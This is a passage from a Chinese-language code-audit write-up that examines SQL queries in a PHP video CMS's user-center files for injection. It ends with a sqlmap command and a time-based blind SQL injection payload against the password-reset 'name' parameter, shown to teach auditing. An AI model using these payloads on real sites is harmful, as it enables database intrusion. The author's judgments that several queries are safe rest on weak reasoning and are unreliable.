$result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
}

这里的话可以看出参数被双引号包裹了,开头包含了SQL防护文件,涉及了addslashes()函数,所以这里自认为是不存在SQL注入的,找下一处。

ucenter/index.php

//部分
<?php include('../system/inc.php');
if(!isset($_SESSION['user_name'])){
alert_href('请登陆后进入','login.php');
};
?>
<?php include('left.php');?>
<?php
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
if($row = mysql_fetch_array($result)){
?>

这里的话可以看见参数是SESSION传参,不同于之前的GET和POST,而且这里还有双引号包裹,因此这里不存在SQL注入,下一处
类似这种的还有

ucenter/kami.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

ucenter/chongzhi.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

ucenter/mingxi.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

ucenter/cms_user_add.php

源码为

<?php
include('../system/inc.php');
include('cms_check.php');

if ( isset($_POST['save']) ) {
null_back($_POST['u_name'],'请填写登录帐号');
null_back($_POST['u_password'],'请填写登录密码');
$result = mysql_query('select * from xtcms_user where u_name = "'.$_POST['u_name'].'"');
if(mysql_fetch_array($result)){
alert_back('帐号重复,请输入新的帐号。');
}

双引号包裹,且包含了过滤函数,因此SQL注入不存在,误报,类似这种的还有

ucenter/return_url.php
其SQL语句如下
$order = mysql_query('select * from xtcms_user_pay where p_order="'.$out_trade_no.'"');

ucenter/password.php
其SQL语句如下
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

ucenter/reg.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');

ucenter/login.php
其SQL语句如下
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

ucenter/mingxi.php
其SQL语句如下
$card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');

ucenter/repass.php

源码为

<?php
include('../system/inc.php');
if(isset($_SESSION['user_name'])){
header('location:index.php');
};

if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$email = trim($_POST['email']);
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username' and u_email='$email'");
if(!! $row = mysql_fetch_array($query)){
$_data['u_password'] = md5(123456);
$sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
if (mysql_query($sql)) {

这里的话我们看到参数name

$username = stripslashes(trim($_POST['name']));

这里引用了stripslashes函数,而文件开头又包含inc.php,这个文件里包含了addslashes函数,当我们参数出现单引号这种特殊字符时,addslashes会加上反引号,而stripslashes会清除addslashes函数加上的反引号,这个时候就相当于没有防护一样,所以显而易见这里是存在SQL注入的,我们可以使用bp抓包保存后,再利用sqlmap来得到数据库信息,具体payload

python sqlmap.py -r "D:\sqlmap\3.txt" -p name --dbs

但很怪,我自己的没有跑出来数据

而我参考其他师傅的文章后发现他们的可以跑出来。
payload如下

name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn&email=1@qq.com&password=111&submit=

类似这种的还有

ucenter/active.php
其SQL语句如下
$verify = stripslashes(trim($_GET['verify']));
$nowtime = time();
$query = mysql_query("select u_id from xtcms_user where u_question='$verify'");

ucenter/reg.php
其内SQL语句如下
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");

总结

本次CMS审计花费了很多时间,一方面因为漏洞点有点多,另一方面也是初学代码审计,不太擅长,经过此次审计后对SQL注入和XSS漏洞有了进一步的了解,也学到了新的思路和知识。也希望此文章能对在学习代码审计的师傅有一些帮助。

参考文献

https://xz.aliyun.com/t/7711
https://xz.aliyun.com/t/11322#toc-2

来源:先知社区原文地址:https://xz.aliyun.com/t/11714作者:quan9i

侵权请私聊公众号删文


 热文推荐  


欢迎关注LemonSec
觉得不错点个“赞”、“在看“

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存